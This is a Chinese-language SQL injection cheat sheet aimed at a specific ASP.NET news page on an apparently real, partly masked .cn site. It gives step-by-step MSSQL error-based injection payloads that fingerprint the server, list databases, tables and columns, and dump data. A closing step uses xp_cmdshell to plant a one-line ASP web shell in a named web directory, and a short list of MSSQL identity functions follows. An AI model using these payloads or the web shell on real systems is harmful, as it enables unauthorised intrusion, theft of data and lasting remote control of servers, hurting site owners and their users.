强制字符转成数字， 所以报错， 能获得数据
查版本号:
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and @@version=1--
查数据库版本:
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and db_name()=1--
查当前数据库用户(如果看到dbo 那么多半当前数据库的用户是dba权限):
http://www.kfgtfcj.xxx.cn/lzygg/Zixun_show.aspx?id=1 and User_Name()=1--
爆库:
Zixun_show.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
继续爆库:
Zixun_show.aspx?id=1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('爆出的库1', '爆出的库2'))>0
爆表:
Zixun_show.aspx?id=1 and (select top 1 name from 数据库名字.sys.all_objects where type='U' AND is_ms_shipped=0)>0
再爆其他表:
Zixun_show.aspx?id=1 and (select top 1 name from 数据库名字.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('爆出的表1', '爆出的表2'))>0
爆字段:
Zixun_show.aspx?id=1 and (select top 1 COLUMN_NAME from 数据库名字.information_schema.columns where TABLE_NAME='表名1')>0
爆其他字段:
Zixun_show.aspx?id=1 and (select top 1 COLUMN_NAME from kaifeng.information_schema.columns where TABLE_NAME='表名1' and COLUMN_NAME not in('字段1','字段2'))>0
爆数据:
Zixun_show.aspx?id=1 and (select top 1 字段1 from 数据库名.表名)>0
写shell:
Zixun_show.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>" > d:\KfSite\kaifeng\2.asp'--
@@version : Current Version
user_name() : Current User
user,system_user,current_user : Current User
db_name() : Current Database
db_name() : Current Database
@@SERVERNAME : Hostname
